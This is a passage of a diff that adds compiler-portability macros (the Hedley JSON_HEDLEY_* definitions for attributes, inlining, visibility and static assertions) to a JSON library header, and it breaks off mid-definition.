JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_MALLOC __attribute__((__malloc__)) +#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0) + #define JSON_HEDLEY_MALLOC _Pragma("returns_new_memory") +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(14,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_MALLOC __declspec(restrict) +#else + #define JSON_HEDLEY_MALLOC +#endif + +#if defined(JSON_HEDLEY_PURE) + #undef JSON_HEDLEY_PURE +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(pure) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(2,96,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) +# define JSON_HEDLEY_PURE __attribute__((__pure__)) +#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0) +# define JSON_HEDLEY_PURE _Pragma("does_not_write_global_data") +#elif defined(__cplusplus) && \ + ( \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(2,0,1) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(4,0,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) \ + ) +# define JSON_HEDLEY_PURE _Pragma("FUNC_IS_PURE;") +#else +# define JSON_HEDLEY_PURE +#endif + +#if defined(JSON_HEDLEY_CONST) + #undef JSON_HEDLEY_CONST +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(const) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(2,5,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) + #define JSON_HEDLEY_CONST __attribute__((__const__)) +#elif \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0) + #define JSON_HEDLEY_CONST _Pragma("no_side_effect") +#else + #define JSON_HEDLEY_CONST JSON_HEDLEY_PURE +#endif + +#if defined(JSON_HEDLEY_RESTRICT) + #undef JSON_HEDLEY_RESTRICT +#endif +#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) && !defined(__cplusplus) + #define JSON_HEDLEY_RESTRICT restrict +#elif \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \ + JSON_HEDLEY_MSVC_VERSION_CHECK(14,0,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,4) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,1,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,14,0) && defined(__cplusplus)) || \ + JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) || \ + defined(__clang__) + #define JSON_HEDLEY_RESTRICT __restrict +#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,3,0) && !defined(__cplusplus) + #define JSON_HEDLEY_RESTRICT _Restrict +#else + #define JSON_HEDLEY_RESTRICT +#endif + +#if defined(JSON_HEDLEY_INLINE) + #undef JSON_HEDLEY_INLINE +#endif +#if \ + (defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) || \ + (defined(__cplusplus) && (__cplusplus >= 199711L)) + #define JSON_HEDLEY_INLINE inline +#elif \ + defined(JSON_HEDLEY_GCC_VERSION) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(6,2,0) + #define JSON_HEDLEY_INLINE __inline__ +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(12,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,1,0) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(3,1,0) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,0,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_INLINE __inline +#else + #define JSON_HEDLEY_INLINE +#endif + +#if defined(JSON_HEDLEY_ALWAYS_INLINE) + #undef JSON_HEDLEY_ALWAYS_INLINE +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(always_inline) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,0,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) +# define JSON_HEDLEY_ALWAYS_INLINE __attribute__((__always_inline__)) JSON_HEDLEY_INLINE +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(12,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) +# define JSON_HEDLEY_ALWAYS_INLINE __forceinline +#elif defined(__cplusplus) && \ + ( \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,1,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) \ + ) +# define JSON_HEDLEY_ALWAYS_INLINE _Pragma("FUNC_ALWAYS_INLINE;") +#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) +# define JSON_HEDLEY_ALWAYS_INLINE _Pragma("inline=forced") +#else +# define JSON_HEDLEY_ALWAYS_INLINE JSON_HEDLEY_INLINE +#endif + +#if defined(JSON_HEDLEY_NEVER_INLINE) + #undef JSON_HEDLEY_NEVER_INLINE +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(noinline) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,0,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \ + JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \ + (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \ + (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \ + (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \ + JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \ + JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) + #define JSON_HEDLEY_NEVER_INLINE __attribute__((__noinline__)) +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_NEVER_INLINE __declspec(noinline) +#elif JSON_HEDLEY_PGI_VERSION_CHECK(10,2,0) + #define JSON_HEDLEY_NEVER_INLINE _Pragma("noinline") +#elif JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,0,0) && defined(__cplusplus) + #define JSON_HEDLEY_NEVER_INLINE _Pragma("FUNC_CANNOT_INLINE;") +#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) + #define JSON_HEDLEY_NEVER_INLINE _Pragma("inline=never") +#elif JSON_HEDLEY_COMPCERT_VERSION_CHECK(3,2,0) + #define JSON_HEDLEY_NEVER_INLINE __attribute((noinline)) +#elif JSON_HEDLEY_PELLES_VERSION_CHECK(9,0,0) + #define JSON_HEDLEY_NEVER_INLINE __declspec(noinline) +#else + #define JSON_HEDLEY_NEVER_INLINE +#endif + +#if defined(JSON_HEDLEY_PRIVATE) + #undef JSON_HEDLEY_PRIVATE +#endif +#if defined(JSON_HEDLEY_PUBLIC) + #undef JSON_HEDLEY_PUBLIC +#endif +#if defined(JSON_HEDLEY_IMPORT) + #undef JSON_HEDLEY_IMPORT +#endif +#if defined(_WIN32) || defined(__CYGWIN__) +# define JSON_HEDLEY_PRIVATE +# define JSON_HEDLEY_PUBLIC __declspec(dllexport) +# define JSON_HEDLEY_IMPORT __declspec(dllimport) +#else +# if \ + JSON_HEDLEY_HAS_ATTRIBUTE(visibility) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,3,0) || \ + JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(13,1,0) || \ + ( \ + defined(__TI_EABI__) && \ + ( \ + (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) \ + ) \ + ) +# define JSON_HEDLEY_PRIVATE __attribute__((__visibility__("hidden"))) +# define JSON_HEDLEY_PUBLIC __attribute__((__visibility__("default"))) +# else +# define JSON_HEDLEY_PRIVATE +# define JSON_HEDLEY_PUBLIC +# endif +# define JSON_HEDLEY_IMPORT extern +#endif + +#if defined(JSON_HEDLEY_NO_THROW) + #undef JSON_HEDLEY_NO_THROW +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(nothrow) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,3,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) + #define JSON_HEDLEY_NO_THROW __attribute__((__nothrow__)) +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(13,1,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) + #define JSON_HEDLEY_NO_THROW __declspec(nothrow) +#else + #define JSON_HEDLEY_NO_THROW +#endif + +#if defined(JSON_HEDLEY_FALL_THROUGH) + #undef JSON_HEDLEY_FALL_THROUGH +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(fallthrough) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(7,0,0) + #define JSON_HEDLEY_FALL_THROUGH __attribute__((__fallthrough__)) +#elif JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(clang,fallthrough) + #define JSON_HEDLEY_FALL_THROUGH JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[clang::fallthrough]]) +#elif JSON_HEDLEY_HAS_CPP_ATTRIBUTE(fallthrough) + #define JSON_HEDLEY_FALL_THROUGH JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[fallthrough]]) +#elif defined(__fallthrough) /* SAL */ + #define JSON_HEDLEY_FALL_THROUGH __fallthrough +#else + #define JSON_HEDLEY_FALL_THROUGH +#endif + +#if defined(JSON_HEDLEY_RETURNS_NON_NULL) + #undef JSON_HEDLEY_RETURNS_NON_NULL +#endif +#if \ + JSON_HEDLEY_HAS_ATTRIBUTE(returns_nonnull) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,9,0) + #define JSON_HEDLEY_RETURNS_NON_NULL __attribute__((__returns_nonnull__)) +#elif defined(_Ret_notnull_) /* SAL */ + #define JSON_HEDLEY_RETURNS_NON_NULL _Ret_notnull_ +#else + #define JSON_HEDLEY_RETURNS_NON_NULL +#endif + +#if defined(JSON_HEDLEY_ARRAY_PARAM) + #undef JSON_HEDLEY_ARRAY_PARAM +#endif +#if \ + defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) && \ + !defined(__STDC_NO_VLA__) && \ + !defined(__cplusplus) && \ + !defined(JSON_HEDLEY_PGI_VERSION) && \ + !defined(JSON_HEDLEY_TINYC_VERSION) + #define JSON_HEDLEY_ARRAY_PARAM(name) (name) +#else + #define JSON_HEDLEY_ARRAY_PARAM(name) +#endif + +#if defined(JSON_HEDLEY_IS_CONSTANT) + #undef JSON_HEDLEY_IS_CONSTANT +#endif +#if defined(JSON_HEDLEY_REQUIRE_CONSTEXPR) + #undef JSON_HEDLEY_REQUIRE_CONSTEXPR +#endif +/* JSON_HEDLEY_IS_CONSTEXPR_ is for + HEDLEY INTERNAL USE ONLY. API subject to change without notice. */ +#if defined(JSON_HEDLEY_IS_CONSTEXPR_) + #undef JSON_HEDLEY_IS_CONSTEXPR_ +#endif +#if \ + JSON_HEDLEY_HAS_BUILTIN(__builtin_constant_p) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,4,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,19) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(13,1,0) || \ + JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,1,0) || \ + (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0) && !defined(__cplusplus)) || \ + JSON_HEDLEY_CRAY_VERSION_CHECK(8,1,0) + #define JSON_HEDLEY_IS_CONSTANT(expr) __builtin_constant_p(expr) +#endif +#if !defined(__cplusplus) +# if \ + JSON_HEDLEY_HAS_BUILTIN(__builtin_types_compatible_p) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(3,4,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(13,1,0) || \ + JSON_HEDLEY_CRAY_VERSION_CHECK(8,1,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(5,4,0) || \ + JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,24) +#if defined(__INTPTR_TYPE__) + #define JSON_HEDLEY_IS_CONSTEXPR_(expr) __builtin_types_compatible_p(__typeof__((1 ? (void*) ((__INTPTR_TYPE__) ((expr) * 0)) : (int*) 0)), int*) +#else + #include + #define JSON_HEDLEY_IS_CONSTEXPR_(expr) __builtin_types_compatible_p(__typeof__((1 ? (void*) ((intptr_t) ((expr) * 0)) : (int*) 0)), int*) +#endif +# elif \ + ( \ + defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 201112L) && \ + !defined(JSON_HEDLEY_SUNPRO_VERSION) && \ + !defined(JSON_HEDLEY_PGI_VERSION) && \ + !defined(JSON_HEDLEY_IAR_VERSION)) || \ + JSON_HEDLEY_HAS_EXTENSION(c_generic_selections) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,9,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(17,0,0) || \ + JSON_HEDLEY_IBM_VERSION_CHECK(12,1,0) || \ + JSON_HEDLEY_ARM_VERSION_CHECK(5,3,0) +#if defined(__INTPTR_TYPE__) + #define JSON_HEDLEY_IS_CONSTEXPR_(expr) _Generic((1 ? (void*) ((__INTPTR_TYPE__) ((expr) * 0)) : (int*) 0), int*: 1, void*: 0) +#else + #include + #define JSON_HEDLEY_IS_CONSTEXPR_(expr) _Generic((1 ? (void*) ((intptr_t) * 0) : (int*) 0), int*: 1, void*: 0) +#endif +# elif \ + defined(JSON_HEDLEY_GCC_VERSION) || \ + defined(JSON_HEDLEY_INTEL_VERSION) || \ + defined(JSON_HEDLEY_TINYC_VERSION) || \ + defined(JSON_HEDLEY_TI_ARMCL_VERSION) || \ + JSON_HEDLEY_TI_CL430_VERSION_CHECK(18,12,0) || \ + defined(JSON_HEDLEY_TI_CL2000_VERSION) || \ + defined(JSON_HEDLEY_TI_CL6X_VERSION) || \ + defined(JSON_HEDLEY_TI_CL7X_VERSION) || \ + defined(JSON_HEDLEY_TI_CLPRU_VERSION) || \ + defined(__clang__) +# define JSON_HEDLEY_IS_CONSTEXPR_(expr) ( \ + sizeof(void) != \ + sizeof(*( \ + 1 ? \ + ((void*) ((expr) * 0L) ) : \ +((struct { char v[sizeof(void) * 2]; } *) 1) \ + ) \ + ) \ + ) +# endif +#endif +#if defined(JSON_HEDLEY_IS_CONSTEXPR_) + #if !defined(JSON_HEDLEY_IS_CONSTANT) + #define JSON_HEDLEY_IS_CONSTANT(expr) JSON_HEDLEY_IS_CONSTEXPR_(expr) + #endif + #define JSON_HEDLEY_REQUIRE_CONSTEXPR(expr) (JSON_HEDLEY_IS_CONSTEXPR_(expr) ? (expr) : (-1)) +#else + #if !defined(JSON_HEDLEY_IS_CONSTANT) + #define JSON_HEDLEY_IS_CONSTANT(expr) (0) + #endif + #define JSON_HEDLEY_REQUIRE_CONSTEXPR(expr) (expr) +#endif + +#if defined(JSON_HEDLEY_BEGIN_C_DECLS) + #undef JSON_HEDLEY_BEGIN_C_DECLS +#endif +#if defined(JSON_HEDLEY_END_C_DECLS) + #undef JSON_HEDLEY_END_C_DECLS +#endif +#if defined(JSON_HEDLEY_C_DECL) + #undef JSON_HEDLEY_C_DECL +#endif +#if defined(__cplusplus) + #define JSON_HEDLEY_BEGIN_C_DECLS extern "C" { + #define JSON_HEDLEY_END_C_DECLS } + #define JSON_HEDLEY_C_DECL extern "C" +#else + #define JSON_HEDLEY_BEGIN_C_DECLS + #define JSON_HEDLEY_END_C_DECLS + #define JSON_HEDLEY_C_DECL +#endif + +#if defined(JSON_HEDLEY_STATIC_ASSERT) + #undef JSON_HEDLEY_STATIC_ASSERT +#endif +#if \ + !defined(__cplusplus) && ( \ + (defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 201112L)) || \ + (JSON_HEDLEY_HAS_FEATURE(c_static_assert) && !defined(JSON_HEDLEY_INTEL_CL_VERSION)) || \ + JSON_HEDLEY_GCC_VERSION_CHECK(6,0,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \ + defined(_Static_assert) \ + ) +# define JSON_HEDLEY_STATIC_ASSERT(expr, message) _Static_assert(expr, message) +#elif \ + (defined(__cplusplus) && (__cplusplus >= 201103L)) || \ + JSON_HEDLEY_MSVC_VERSION_CHECK(16,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) +# define JSON_HEDLEY_STATIC_ASSERT(expr, message) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(static_assert(expr, message)) +#else +# define JSON_HEDLEY_STATIC_ASSERT(expr, message) +#endif + +#if defined(JSON_HEDLEY_NULL) + #undef JSON_HEDLEY_NULL +#endif +#if defined(__cplusplus) + #if __cplusplus >= 201103L + #define JSON_HEDLEY_NULL JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(nullptr) + #elif defined(NULL) + #define JSON_HEDLEY_NULL NULL + #else + #define JSON_HEDLEY_NULL JSON_HEDLEY_STATIC_CAST(void*, 0) + #endif +#elif defined(NULL) + #define JSON_HEDLEY_NULL NULL +#else + #define JSON_HEDLEY_NULL ((void*) 0) +#endif + +#if defined(JSON_HEDLEY_MESSAGE) + #undef JSON_HEDLEY_MESSAGE +#endif +#if JSON_HEDLEY_HAS_WARNING("-Wunknown-pragmas") +# define JSON_HEDLEY_MESSAGE(msg) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS \ + JSON_HEDLEY_PRAGMA(message msg) \ + JSON_HEDLEY_DIAGNOSTIC_POP +#elif \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,4,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) +# define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(message msg) +#elif JSON_HEDLEY_CRAY_VERSION_CHECK(5,0,0) +# define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(_CRI message msg) +#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) +# define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(message(msg)) +#elif JSON_HEDLEY_PELLES_VERSION_CHECK(2,0,0) +# define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(message(msg)) +#else +# define JSON_HEDLEY_MESSAGE(msg) +#endif + +#if defined(JSON_HEDLEY_WARNING) + #undef JSON_HEDLEY_WARNING +#endif +#if JSON_HEDLEY_HAS_WARNING("-Wunknown-pragmas") +# define JSON_HEDLEY_WARNING(msg) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS \ + JSON_HEDLEY_PRAGMA(clang warning msg) \ + JSON_HEDLEY_DIAGNOSTIC_POP +#elif \ + JSON_HEDLEY_GCC_VERSION_CHECK(4,8,0) || \ + JSON_HEDLEY_PGI_VERSION_CHECK(18,4,0) || \ + JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) +# define JSON_HEDLEY_WARNING(msg) JSON_HEDLEY_PRAGMA(GCC warning msg) +#elif \ + JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) +# define JSON_HEDLEY_WARNING(msg) JSON_HEDLEY_PRAGMA(message(msg)) +#else +# define JSON_HEDLEY_WARNING(msg) JSON_HEDLEY_MESSAGE(msg) +#endif + +#if defined(JSON_HEDLEY_REQUIRE) + #undef JSON_HEDLEY_REQUIRE +#endif +#if defined(JSON_HEDLEY_REQUIRE_MSG) + #undef JSON_HEDLEY_REQUIRE_MSG +#endif +#if JSON_HEDLEY_HAS_ATTRIBUTE(diagnose_if) +# if JSON_HEDLEY_HAS_WARNING("-Wgcc-compat") +# define JSON_HEDLEY_REQUIRE(expr) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("clang diagnostic ignored \"-Wgcc-compat\"") \ + __attribute__((diagnose_if(!(expr), #expr, "error"))) \ + JSON_HEDLEY_DIAGNOSTIC_POP +# define JSON_HEDLEY_REQUIRE_MSG(expr,msg) \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("clang diagnostic ignored \"-Wgcc-compat\"") \ + __attribute__((diagnose_if(!(expr), msg, "error"))) \ + JSON_HEDLEY_DIAGNOSTIC_POP +# else +# define JSON_HEDLEY_REQUIRE(expr) __attribute__((diagnose_if(!(expr), #expr, "error"))) +# define JSON_HEDLEY_REQUIRE_MSG(expr,msg) __attribute__((diagnose_if(!(expr), msg, "error"))) +# endif +#else +# define JSON_HEDLEY_REQUIRE(expr) +# define JSON_HEDLEY_REQUIRE_MSG(expr,msg) +#endif + +#if defined(JSON_HEDLEY_FLAGS) + #undef JSON_HEDLEY_FLAGS +#endif +#if JSON_HEDLEY_HAS_ATTRIBUTE(flag_enum) + #define JSON_HEDLEY_FLAGS __attribute__((__flag_enum__)) +#else + #define JSON_HEDLEY_FLAGS +#endif + +#if defined(JSON_HEDLEY_FLAGS_CAST) + #undef JSON_HEDLEY_FLAGS_CAST +#endif +#if JSON_HEDLEY_INTEL_VERSION_CHECK(19,0,0) +# define JSON_HEDLEY_FLAGS_CAST(T, expr) (__extension__ ({ \ + JSON_HEDLEY_DIAGNOSTIC_PUSH \ + _Pragma("warning(disable:188)") \ + ((T) (expr)); \ + JSON_HEDLEY_DIAGNOSTIC_POP \ + })) +#else +# define JSON_HEDLEY_FLAGS_CAST(T, expr) JSON_HEDLEY_STATIC_CAST(T, expr) +#endif + +#if defined(JSON_HEDLEY_EMPTY_BASES) + #undef JSON_HEDLEY_EMPTY_BASES +#endif +#if \ + (JSON_HEDLEY_MSVC_VERSION_CHECK(19,0,23918) && !JSON_HEDLEY_MSVC_VERSION_CHECK(20,0,0)) || \ + JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) + #define JSON_HEDLEY_EMPTY_BASES __declspec(empty_bases) +#else + #define JSON_HEDLEY_EMPTY_BASES +#endif + +/* Remaining macros are deprecated. */ + +#if defined(JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK) + #undef JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK +#endif +#if defined(__clang__) + #define JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK(major,minor,patch) (0) +#else + #define JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK(major,minor,patch) 